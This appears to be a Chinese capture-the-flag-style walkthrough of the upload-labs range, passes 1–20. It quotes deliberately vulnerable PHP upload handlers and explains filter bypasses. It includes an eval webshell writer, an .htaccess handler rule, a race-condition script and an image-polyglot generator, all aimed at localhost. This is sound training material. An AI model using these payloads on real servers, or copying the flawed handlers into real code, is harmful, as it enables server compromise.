upload-labs文件上传pass1-20

upload-labs/文件上传

本地js检查

使用图片马.png

允许的后缀上传-抓包- 改后缀-上传成功

/方法二 浏览器设置禁用JS

服务端对数据包的MIME进行检查

使用图片马.png 上传-抓包- 改后缀-上传成功

MIME(content-type)类型还是图片，验证通过

黑名单基础过滤

if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
                 $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
                 $is_upload = true;
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }

禁止asp/aspx/php/jsp类型上传，而且全转换为小写。利用apache解析漏洞。

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。

php2php3php4都会解析为php

抓包修改后缀.php3上传成功

黑名单 (.htaccess攻击)

if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传!';
        }

禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件

这回多了不少后缀，第三关方法不行了（这些后缀可以收藏)

没有禁止.htaccess上传，我们可以写规则之后上传,上传的yijuhua.png文件解析为php，上传后连接

<FilesMatch "yijuhua.png">
SetHandler application/x-httpd-php
</FilesMatch>   

ps:文件上传类题目做到过.user.ini 的题,思路与.htaccess类似 自行百度

大小写绕过

if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }

在第四关的基础上增加了.htaccess的过滤,但是没有全部转化为小写的规则了

大小写绕过

空格绕过

if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }

对比没有了首位去空格，修改后缀php再加个空格 /.php(空格)/

点绕过

if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }

对比增加了首尾去空，没有了删除文件名末尾的点

后缀加点 完成

:: DATA备用数据流漏洞

if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }

修改后缀为php并在结尾添加::$DATA

访问yijuhua.php

漏洞原文链接：https://owasp.org/www-community/attacks/Windows_::DATA_alternate_data_stream

空格点绕过

if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }

去除了末尾的点和前后的空格，但只处理了一次

改后缀为.php. .

双写后缀名绕过

if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }

提示看到会将这些后缀从文件名中去除，但是就执行了一遍

双写绕过.pphpph

00截断GET

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败！';
        }
    }

当url中的参数是通过GET方式获取时，%00会被自动解码。而当参数是通过POST方式获取时，是不会自动解码的

所以参数post是使用00截断时用0x00，GET时用%00

上传路径可控，

00截断POST

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }

和上一关差不多但是文件路径在post中所以得改hex

php后添加两个空格方便修改hex

20是空格的hex,将第一个20改为00

然后上传成功，连接成功

文件头检查

制作图片马copy 1.jpg/b + 1.php/a 2.jpg 注意要用1.php不要用1.txt

不多细讲

图片马getimagesize绕过

getimagesize() 函数用于获取图像大小及相关信息，成功返回一个数组，失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

依旧使用图片马可以绕过

图片马exif_imagetype绕过

exif_imagetype 判断一个图像的类型

依旧图片马绕过

图片二次渲染

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=$UPLOAD_ADDR.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型，合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片！";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败！";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片！";
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;               
            }
        }
        else
        {
            $msg = "上传失败！";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片！";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败！";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
    }php
}

图片二次渲染会将上传的文件的图片部分抠出然后在服务器生成一个新图片，有点复杂

看了看网上的思路：上传纯gif成功-下载服务区端生成的新gif对比16进制，将一句话插入到没有改变的地方，gif上传简单，png和jpg的复杂一点，
这是上传的纯gif的16进制：

这是服务器二次渲染之后的gif的16进制：

可以看到从差不多第二行开始到倒数第二行没有变化 ，所以我将一句话插到图片中下面一堆点的前面：

直接上传然后文件包含http://127.0.0.1/include.php?file=upload/9015.gif 可以post一个phpinfo();查看以下效果

蚁剑也可成功连接
/方法二 php脚本制作符合要求的png文件上传，再文件包含
pass16脚本：

<?php
//png.php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./pass16.png');
?>

php脚本执行可生成一个符合规则的插入一句话木马的pass16.png文件

php pass16.php 一个纯净的png文件

pass17条件竞争

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}

经典的条件竞争 先移动，不符合规则就改名字

我们多线程让他处于移动状态，然后一直访问，总会有一次访问到，一旦访问到就会在服务器端写一个入shell

上传的php写马脚本：

<?PHP echo md5(1);fputs(fopen('shell.php','w'),'<?php @eval($_POST[pass])?>');?>

上传时用burp抓包发送到intruder中，设置paload为Null payloads ，设置不断发包，

写一个python脚本不断访问上传的php,在访问到时返回OK：

# coding:utf-8
import requests
def main():
    i=0
    while 1:
        try:
            print(i,end = '
')
            a = requests.get("http://127.0.0.1/upload/pass17.php")
            if "c4ca4238a0b923820dcc509a6f75849b" in a.text: ##匹配写马脚本中的md5(1)
                print("OK")
                break
        except Exception as e:
            pass
        i+=1
if __name__ == '__main__':
    main()

同时启动burp发包和python脚本看到脚本返回ok时浏览器访问upload/shell.php 蚁剑连接

条件竞争2（检测后缀名）

还和第一个条件竞争一样，一开始就检测后缀所以得用pass18.php.jpg图片马抓包burp无限发包，
写脚本一直文件包含访问或者浏览器一直F5，访问到http://localhost/include.php?file=upload/pass18.php.jpg
，蚁剑连接ok

move_uploaded_file()绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

后缀名限制的死死的，但看到move_uploaded_file()，查了查，这个函数会忽略掉文件末尾的/.
文件名可控，我们将上传的一句话的保存名称改为upload-19.php/.直接上传成功可以访问，而且是任意php文件都可以，不用上传图片马，我们直接上传php马
蚁剑连接ok

数组绕过

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件！";
}

检查MIME类型和文件名，然后看wp发现$file_name = reset($file) . '.' . $file[count($file) - 1];
最终的文件名是由数组的第一个和最后一个元素拼接而成。是由数组的第一个和最后一个元素拼接而成。

if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

这个判断：不是数组，就自己拆成数组，也就是说，用户可以传入数组的。

我们上传一个jpg图片马抓包，然后改包如下图，传入两个参数save_name[0]和save_name[2]

然后发包提示上传成功

你可以看到你网站的upload目录下上传成功了20.php,蚁剑连接ok

方法二

00截断上传的图片马然后文件包含连蚁剑/不细说了
可算是刷完了学到不少^o^/

参考：
pass16-20
pass19
pass20